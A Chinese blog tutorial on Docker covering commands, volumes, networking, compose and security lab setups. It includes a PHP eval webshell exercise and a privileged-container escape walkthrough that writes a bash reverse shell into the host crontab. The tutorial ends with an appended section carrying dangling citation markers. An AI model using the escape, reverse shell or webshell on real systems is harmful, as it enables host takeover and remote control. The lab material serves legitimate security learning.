Docker进阶

目录

Docker 是基于 Go 语言实现的云开源项目,是基于 Linux 的多项开源技术提供高效、敏捷和轻量级的容器方案。创建于 2013 年初,自从开源后就受到了广泛的关注,从长远的眼光来看,Docker 是未来虚拟化的一个发展的趋势。带来了更轻量快捷的的体验,一台主机可以同时运行数千个 Docker 容器,而且在性能上几乎不会损耗。

Docker简介

概念

Docker 是基于 Go 语言实现的云开源项目,是基于 Linux 的多项开源技术提供高效、敏捷和轻量级的容器方案。创建于 2013 年初。自从开源后就受到了广泛的关注,从长远的眼光来看,Docker 是未来虚拟化的一个发展的趋势。

优势

  1. 一次构建,处处运行,带来了更快速的交付和部署和更轻松的迁移和扩展。
  2. 对系统内核进行抽象,带来了更轻量快捷的的体验,一台主机可以同时运行数千个 Docker 容器,而且在性能上几乎不会损耗。
参数测试工具物理主机Docker
CPUsysbench10.9945
写内存sysbench10.9826
读内存sysbench11.0025
磁盘 I Odd10.9811
网络iperf10.9626

从数值上看,物理主机与 Docker 容器之间的性能差异不大,二者速度几乎一样。

基本组件

镜像:镜像是构建 Docker 世界的基石。用户的一切操作都是基于镜像来运行自己的容器的。同时镜像也是 Docke r 的 “构建” 部分,也可以把镜像当作容器的” 源代码”,镜像体积很小,便携性高,易分享、存储和更新。
容器:容器是基于镜像启动起来的,用户只需要把自己的应用程序或服务打包放进容器即可。容器中可以运行一个或多个进程,是 Docker 的启动和执行阶段。

Docker 安装

这里我只写 Ubuntu、Kali/Debian、CentOS 下的安装。

Ubuntu/CentOS 安装 Docker

Ubuntu Linux 系统耳熟能详的操作系统。

curl -fsSL get.docker.com -o get-docker.sh
sudo sh get-docker.sh --mirror Aliyun

然后,我们需要向 sources.list 中添加 Docker 软件源

$ echo \
  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.aliyun.com/docker-ce/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null


# 官方源
# $ echo \
#   "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
#   $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

Dokcer 入门

搜索镜像

Dokcer 通过 Dokcer Hub 搭建镜像共享生态系统,这意味着我们可以直接下载其他人已经打包好的镜像。
使用 docker search 命令在 Docker HUB 中搜索镜像
这里我们以搜索 Ubuntu 镜像为例:

docker search ubuntu

一般我们下载靠前面的镜像,OFFICIAL 标签如果是 OK 的话,这表示是官方镜像,其他的都是用户自己创建并共享的镜像。

下载镜像

下面从 Docker Hub 下载 Ubuntu 镜像,终端输入:

docker pull ubuntu

列出下载的镜像

下面列出本地主机中已经下载的 docker 镜像
终端输入:

docker images

或者:

docker image ls

创建并使用容器

使用 run 命令即可用镜像来创建一个容器

docker run -i -t --name hellodocker ubuntu /bin/
命令格式为:docker run <选项参数>  <镜像名称> <要运行的文件>

>使用 -i、-t选项可以在运行的Bash shell中进行输入与输出
>使用—name可以指定容器的名称。如果不指定的话,docker默认会自动生成随机的名称进行指定。

再回看这行命令大概就明白了它的意思:使用 ubuntu 这个镜像来创建一个名为 hellodocker 的容器
当我们创建容器后,默认就进入了容器,此时使用 cd、ls 等命令发现已经不是我们物理机上的 ubutu 了。

退出容器

终端输入:

exit

从 Bash shell 退出,因为在 Ubuntu 镜像中直接运行 /bin/bash 可执行文件,所以退出后 容器也会终止(stop),就这样我们创建运行并退出了一个容器,现在自己再亲手创建个容器试试看吧。

查看容器列表

终端输入:

docker ps -a

查看本地的所有容器的详细信息,可以看到他们的 ID、所使用的镜像、创建时间、端口等信息 。

使用 start 命令来启动容器

到这里机智的小伙伴们可能产生疑问了:第一次创建容器是默认就进入了容器,那么在我们 exit 退出容器之后如何唤醒我们的容器呢? 表急,其实 docker 早已考虑到了这个,我们在终端下输入:

docker start hellodocker

来启动名为 hellodocker 的容器,所以启动 docker 容器的命令就是:

docker start 容器名

来启动名为 hellodocker 的容器,所以启动 docker 容器的命令就是:

docker start 容器名

使用 restart 命令来重启容器

与重启系统一样,也可以直接使用如下命令来重启某个容器:

docker restart hellodocker

使用 attach 命令连接容器

前面我们 start 了一个容器,但是还是默认不进入容器,我们使用:

docker ps -a

来查看容器的运行情况,可以看到 hellodocker 这个容器已经启动了 4 秒多了,说明容器已经在运行了,那么我们怎么来连接启动的 docker 容器呢?终端输入:

docker attach hellodocker

Docker 系统统计信息

终端下输入:

docker stats

用来显示一个或多个容器的统计信息,可以看到容器的 ID、CPU 占用率、内存使用率、网速等信息

终止容器

要终止容器的话,首先 docker ps -a 列出后台正在运行的容器,然后终端输入:

docker stop hellodocker

终止了我们刚启动不久的 hellodocker 容器

删除容器

如果容器不再使用可以使用如下命令删除:

docker rm hellodocker

删除镜像

如果镜像不再使用可以使用如下命令删除:

docker rmi ubuntu

Docker 简约命令

列出下载的镜像

docker image ls

部署容器

docker run --name hellodocker -d -p 81:80 ubuntu:18.04

创建并使用容器

docker run -i -t --name hellodocker ubuntu /bin/bash

查看容器列表

docker ps -a

使用 start 命令来启动容器

docker start 容器名

使用 restart 命令来重启容器

docker restart 容器名

使用 attach 命令连接容器

docker attach 容器名
docker exec -it 容器名 /bin/docker exec -it 容器名 /bin/zsh

Docker 系统统计信息

docker stats

终止容器

docker stop 容器名

删除容器

docker rm 容器名

删除镜像

docker rmi ubuntu

打造属于你自己的 Kali

一般我们搞信息安全的难免都会用到 Kali Linux,如果不想安装累赘的虚拟机或者不想折腾更新源等那么该肿么办呢?现在有了 Docker,这一切的问题都不再是问题,使用 Docker 来运行 Kali,更加轻便快捷,而且可以 ping 通物理机的 C 段,用来实战的话再合适不过了。

首先搜索下可用的 Kali 镜像

docker search kali

出来了一大堆,根据名字可以大概判断出第二个镜像是带有 meatsploit 的,所以为了日后配置的方便我们这里直接来下载第二个镜像。

下载 Kali 镜像

docker pull linuxkonsult/kali-metasploit

下载带有 msf 的 kali 镜像(镜像不大,我这边下载完不到 10 分钟)

创建 Kali 容器

docker run -i -t --name  msfkali linuxkonsult/kali-metasploit /bin/bash

用下载的 kali 镜像创建个名为 msfkali 的容器

进入容器查看基本信息

可以看到 kali 使用的是默认源,这里我要说一下,kali 2016.X 版本的 kali 使用这个默认官方源就好, 这个默认的官方源会自动选择速度最快的镜像站点来下载。

$ cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

终端输入:

msfconsole

除此之外还带了 nmap、wget、git 等,但是这些工具还不够我们完成一次渗透测试

安装自己需要的工具

首先先刷新下更新缓存列表:

apt update

然后就可以直接安装工具了

apt install 工具名

这里你需要什么工具就安装什么工具,速度很快的,用什么就安装什么,没有什么比这个更 DIY 的了。举个例子:你想安装个 aircrack 来破解 WiFi 密码,那么就直接:

apt-get install aircrack-ng

总之,这个 Kali Docker 就是 Kali 的命令行,和正常是 Kali 一模一样,该怎么折腾就怎么折腾吧。

Docker 优化

Docker 国内加速器

不替换源对话,docker pull 拉去镜像对速度实在太龟速了,如果你很佛系对话可以不进行更换

# 编辑这个文件,如果没有对话就创建这个文件
vim /etc/docker/daemon.json

内容如下:

JSON
{
  "registry-mirrors": [
    "http://hub-mirror.c.163.com"
  ]
}

这里我使用对是国内 163 网易源,其他源可以自行百度替换。
配置完成后重启服务才可以生效:

sudo systemctl daemon-reload
sudo systemctl restart docker

Docker 基础命令

搜索镜像

docker search 关键词

下载镜像

docker pull 镜像名

查看已下载的镜像列表

docker image ls

创建并使用容器

docker run -it --name 容器名 镜像名/镜像ID /bin/bash

查看当前容器

docker ps -a

统计信息

docker stats

启动容器

docker start 容器名/容器ID

重启容器

docker restart 容器名/容器ID

终止容器

docker stop 容器名/容器ID

终止所有容器

docker stop $(docker ps -aq)

连接容器

docker exec -it 容器名/容器ID /bin/bash

删除容器

docker rm 容器名/容器ID

删除所有容器

docker rm $(docker ps -aq)

删除镜像

docker rmi 镜像名/容器ID

删除所有镜像

docker rmi $(docker images -q)

端口映射

部署一个容器,并将 80 端口映射到宿主机的 8000 端口上

# 可以使用--name自定义部署的容器名
docker run -d -p 8000:80 --name 容器名 镜像名

# 也可以直接通过镜像部署
docker run -d -p 8000:80 镜像名

dockerfile 部署镜像

docker build -t 自定义镜像名称 .

docker-compose 部署

docker-compose up -d

构建新的镜像

docker commit -a "提交的镜像作者" -m "提交时的说明文字" 容器的ID 要创建的新的镜像
docker commit -a "1cePeak" -m "wordpress_phpmyadmin" d64655e87ccc wordpress_phpmyadmin:v1

保存离线镜像

docker save -o 镜像文件名.tar 要保持的镜像
docker save -o wordpress_phpmyadmin.tar wordpress_phpmyadmin:latest

导入离线镜像

docker load --input 镜像文件名.tar
docker load --input wordpress_phpmyadmin.tar

数据卷

数据卷 是一个可供一个或多个容器使用的特殊目录,它绕过 UnionFS,可以提供很多有用的特性:

  • 数据卷 可以在容器之间共享和重用
  • 数据卷 的修改会立马生效
  • 数据卷 的更新,不会影响镜像
  • 数据卷 默认会一直存在,即使容器被删除

注意:数据卷 的使用,类似于 Linux 下对目录或文件进行 mount,镜像中的被指定为挂载点的目录中的文件会复制到数据卷中(仅数据卷为空时会复制)。

创建一个数据卷
$ docker volume create my-vol

查看所有的 数据卷

$ docker volume ls
DRIVER              VOLUME NAME
local               my-vol

在主机里使用以下命令可以查看指定 数据卷 的信息

$ docker volume inspect my-vol
[
    {
        "Driver": "local",
        "Labels": {},
        "Mountpoint": "/var/lib/docker/volumes/my-vol/_data",
        "Name": "my-vol",
        "Options": {},
        "Scope": "local"
    }
]
启动一个挂载数据卷的容器

在用 docker run 命令的时候,使用 --mount 标记来将 数据卷 挂载到容器里。在一次 docker run 中可以挂载多个 数据卷

下面创建一个名为 web 的容器,并加载一个 数据卷 到容器的 /usr/share/nginx/html 目录。

$ docker run -d -P \
    --name web \
    \# -v my-vol:/usr/share/nginx/html \
    --mount source=my-vol,target=/usr/share/nginx/html \
    nginx:alpine
查看数据卷的具体信息

在主机里使用以下命令可以查看 web 容器的信息

$ docker inspect web

数据卷 信息在 “Mounts” Key 下面

"Mounts": [
    {
        "Type": "volume",
        "Name": "my-vol",
        "Source": "/var/lib/docker/volumes/my-vol/_data",
        "Destination": "/usr/share/nginx/html",
        "Driver": "local",
        "Mode": "",
        "RW": true,
        "Propagation": ""
   }
],
删除数据卷
$ docker volume rm my-vol

数据卷 是被设计用来持久化数据的,它的生命周期独立于容器,Docker 不会在容器被删除后自动删除 数据卷,并且也不存在垃圾回收这样的机制来处理没有任何容器引用的 数据卷。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用 docker rm -v 这个命令。

无主的数据卷可能会占据很多空间,要清理请使用以下命令

$ docker volume prune

挂载卷

看下面的这个案例理解一下就明白了:

docker run -d -p 9088:80 --name wordpress_phpmyadmin -v "`pwd`/mysql":/var/lib/mysql/ -v "`pwd`/app":/app/ wordpress_phpmyadmin:latest

复制文件

# 物理机拷贝到容器
docker cp test.txt 容器ID:/var/www/html

# 容器拷贝到物理机
docker cp 容器ID:/var/www/html/test.txt 物理机路径

新建网络

下面先创建一个新的 Docker 网络。

$ docker network create -d bridge my-net

-d 参数指定 Docker 网络类型,有 bridge overlay。其中 overlay 网络类型用于 Swarm mode,在本小节中你可以忽略它。

连接容器

运行一个容器并连接到新建的 test-net 网络

$ docker run -it --rm --name test1 --network test-net centos:7 sh

打开新的终端,再运行一个容器并加入到 test-net 网络

$ docker run -it --rm --name test2 --network test-net centos:7 sh

下面通过 ping 来证明 test1 容器和 test2 容器建立了互联关系。

test1 容器输入以下命令

/ # ping test2
PING test2 (172.19.0.3): 56 data bytes
64 bytes from 172.19.0.3: seq=0 ttl=64 time=0.072 ms
64 bytes from 172.19.0.3: seq=1 ttl=64 time=0.118 ms

用 ping 来测试连接 test2 容器,它会解析成 172.19.0.3

同理在 test2 容器执行 ping test1,也会成功连接到。

/ # ping test1
PING test1 (172.19.0.2): 56 data bytes
64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.064 ms
64 bytes from 172.19.0.2: seq=1 ttl=64 time=0.143 ms

这样,test1 容器和 test2 容器建立了互联关系。

Docker compose

docker compose 神器,国内的 vulhubs 靶场就是用的 docker compose 规范,所以这里有必要安装一下。
首先来查看最新版本 https://github.com/docker/compose/releases

# 下载docker-compose
curl -L https://github.com/docker/compose/releases/download/1.25.0-rc2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

# 给docker-compose执行权限
chmod +x /usr/local/bin/docker-compose

# 查看docker compose版本
root@kali-linux:~# docker-compose  version
docker-compose version 1.25.0-rc2, build 661ac20e
docker-py version: 4.0.1
CPython version: 3.7.4
OpenSSL version: OpenSSL 1.1.0k  28 May 2019

一些小Tips

如何确认是在docker容器中?

方法一:检查根目录下是否存在.dockerenv文件

如果根目录下存在.dockerenv文件,说明是在docker容器中。

ls -al /
方法二:检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息,存在docker字段则是在docker容器中。

实践项目

Docker搭建 sqli-labs 环境

docker pull acgpiano/sqli-labs
docker run --name sqli-labs -d -p 8080:80 acgpiano/sqli-labs
docker exec -it ID /bin/bash
  • MySQL 默认密码为 空
  • 浏览器访问:127.0.0.1:8080
  • 初始化数据库先

Docker 搭建 Portainer 图形管理工具

$ docker search portainer
$ docker pull portainer/portainer
$ docker run -d -p 9000:9000 --restart=always -v  /var/run/docker.sock:/var/run/docker.sock --name portainer portainer/portainer

Docker 搭建宝塔面板注意事项

centos7 镜像,做好端口映射
8080:88 888:888 8888:8888 8081:80
每次重启的时候得手动启动服务:

$ /etc/init.d/bt start
$ /etc/init.d/mysqld start
$ /etc/init.d/nginx start
$ /etc/init.d/php-fpm-54 start
$ /etc/init.d/php-fpm-73 start

Docker 搭建Answer

Answer是一个类似知乎的开源问答社区。

https://github.com/answerdev/answer

Docker compose

练习使用docker-compose组建含有3个容器的服务,这三个容器由php:7.2-apache镜像构成,并且在三个容器中,Web目录下有一个名为index.php的Webshell,内容为 :

<?php eval($_POST['cmd']);?>

三个容器container_a、container_b、container_c,ab所在网络为network1,bc所在网络为network2。

Docker逃逸

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。

环境搭建

拉取一个镜像,在启用时使用–privileged

docker pull ubuntu:16.04docker run -itd --privileged ubuntu:16.04 /bin/bash
漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

cat /proc/self/status | grep Cap
漏洞利用

在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker

进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。

touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/xx.xx.xx.xx/12580 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
### Docker 进阶教程与高级用法 #### 1. Docker 的跨平台支持与发展历程 Docker 最初是在 Ubuntu 12.04 上开发实现的,随后 Red Hat 和 Google 等公司也相继加入对其的支持。Red Hat 从 RHEL 6.5 开始正式支持 Docker 技术,而 Google 在其 PaaS 平台中广泛采用了这一技术[^1]。 #### 2. 使用 Docker Compose 实现多容器编排 在实际生产环境中,尤其是微服务架构下,单一的服务往往不足以满足需求。此时需要借助 Docker Compose 来简化多容器环境的配置和管理。Compose 提供了一种声明式的 YAML 文件格式,允许开发者定义多个服务及其之间的依赖关系,并能够一键启动整个应用栈[^2]。 以下是典型的 `docker-compose.yml` 示例: ```yaml version: '3' services: web: image: nginx:latest ports: - "80:80" depends_on: - app app: build: . environment: NODE_ENV: production ``` 此示例展示了如何通过单个文件描述两个相互关联的服务——前端 Web 服务器 (Nginx) 和后端应用程序节点。 #### 3. 构建高效镜像的最佳实践 为了减少最终生成的镜像大小并提升安全性,推荐采用 **多阶段构建** 方法。这种方法尤其适用于 Java 应用程序等场景,在这种情况下可以通过分层的方式先完成源码编译再复制到最小的基础运行时镜像中去[^4]。 例如以下是一个基于 Maven 的 Spring Boot 项目的多阶段构建过程: ```dockerfile # Stage 1: Build stage FROM maven:3.8-openjdk-17 AS builder WORKDIR /app COPY pom.xml . RUN mvn dependency:go-offline COPY src ./src RUN mvn package -DskipTests # Stage 2: Runtime stage FROM openjdk:17-jdk-slim WORKDIR /app COPY --from=builder /app/target/*.jar app.jar ENTRYPOINT ["java", "-jar", "/app/app.jar"] ``` 上述方法显著降低了最终交付物体积的同时还增强了隔离性和可维护性。 #### 4. 自动化测试报告集成方案 对于持续集成/持续部署(CI/CD),可以考虑利用 Allure Framework 结合 Docker 容器化方式快速搭建起一套完整的自动化测试框架体系结构。具体做法如下所示: 运行命令即可拉取官方提供的 allure-docker-service 镜像并将本地存储的结果同步至容器内部位置 `/app/results` 下面展示出来给用户访问查看。 ```bash docker run -d -p 5050:5050 -v $(pwd)/allure-results:/app/results allure-docker-service ``` 这一步骤极大地便利了团队成员间共享同一套标准化报表样式模板资源[^5]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值